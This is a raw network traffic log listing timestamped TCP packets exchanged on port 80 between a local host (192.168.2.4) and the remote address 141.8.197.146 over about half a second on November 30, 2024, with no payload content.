Nov 30, 2024 05:00:25.096529007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.096576929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.097376108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.097498894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.097552061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.098324060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.098445892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.098489046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.099253893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.099365950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.099411011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.100208044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.100317955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.100363970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.101167917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.101274014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.101319075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.102107048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.102224112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.102267981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.103059053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.103176117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.103215933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.104020119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.104147911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.104182959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.104948044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.135987043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.136068106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.136075020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.136432886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.136485100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.136548996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.137479067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.137532949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.137562037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.138343096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.138398886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.138458014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.139298916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.139367104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.139388084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.140249014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.140301943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.140347004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.141191959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.141241074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.141244888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.196019888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.263005972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.263135910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.263179064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.263482094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.263619900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.263664007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.264487982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.264554977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.264599085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.265429020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.265551090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.265594006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.266324997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.266438007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.266498089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.267282009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.267402887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.267443895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.268232107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.268341064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.268384933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.269181013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.269300938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.269345045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.270127058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.270257950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.270308971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.271068096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.271192074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.271241903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.272022009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.272138119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.272181988 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.272996902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.273112059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.273156881 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.273947954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.274053097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.274126053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.274862051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.275002956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.275043011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.275855064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.275871038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.275917053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.276776075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.276880026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.276922941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.277713060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.277867079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.277929068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.278647900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.278790951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.278836966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.279647112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.279721022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.279768944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.280556917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.280670881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.280715942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.281529903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.281632900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.281677008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.282490969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.282604933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.282649994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.283438921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.283571005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.283615112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.284368992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.284497023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.284540892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.285347939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.285459995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.285499096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.286258936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.286375046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.286418915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.287199020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.287328005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.287369013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.288156033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.288269997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.288324118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.289176941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.289324999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.289366007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.290061951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.290179968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.290225029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.291001081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.291121960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.291173935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.291960001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.292068958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.292897940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.292948961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.293006897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.293051004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.293885946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.294003010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.294050932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.294794083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.294910908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.295744896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.295795918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.295851946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.295893908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.296694040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.296821117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.297633886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.297699928 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.297751904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.297796965 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.298580885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.298707962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.298767090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.299550056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.299657106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.300499916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.300551891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.300597906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.300637960 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.301429033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.301565886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.301949978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.302402020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.302527905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.303353071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.303405046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.303450108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.303497076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.304294109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.304419041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.305237055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.305299997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.305346012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.305391073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.306175947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.337361097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.337483883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.337541103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.337779999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.337845087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.337905884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.338785887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.338849068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.338905096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.339687109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.339900970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.339948893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.340663910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.340734005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.340776920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.341578960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.341711044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.341764927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.342516899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.342617989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.342673063 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.464333057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.464457035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.464510918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.464823008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.464935064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.465783119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.465846062 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.465878010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.465919018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.466696978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.466895103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.466954947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.467639923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.467797995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.467860937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.468611956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.468755960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.468799114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.469537973 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.469647884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.469696999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.470504045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.470598936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.470654964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.471451998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.471568108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.472397089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.472451925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.472506046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.472548008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.473335028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.473445892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.474083900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.474332094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.474428892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.474467039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.475265026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.475543022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.475599051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.476227999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.476327896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.476526976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.477154970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.477255106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.477365971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.478082895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.478209019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.478250027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.479031086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.479185104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.479234934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.479994059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.480103970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.480974913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.481041908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.481057882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.481101990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.481895924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.482003927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.482043028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.482825041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.482952118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.483002901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.483788013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.483926058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.483968019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.484746933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.484863043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.484905958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.485677958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.485817909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.485989094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.486640930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.486709118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.487591982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.487637043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.487683058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.487725973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.488524914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.488653898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.488698959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.489481926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.489590883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.489636898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.490565062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.490696907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.490854025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.491369963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.491485119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.491528034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.492327929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.492491961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.492543936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.493283033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.493340969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.494237900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.494290113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.494334936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.494371891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.495177984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.495291948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.495954037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.496126890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.496227026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.496280909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.497116089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.497253895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.497299910 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.498020887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.498136044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.498178005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.498975039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.499089003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.499129057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.499933004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.500034094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.500087023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.500902891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.501024008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.501827002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.501877069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.501928091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.502772093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.502821922 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.502851963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.502895117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.503719091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.503820896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.503871918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.504668951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.504776001 CET	80	49732	141.8.197.146	192.168.2.4
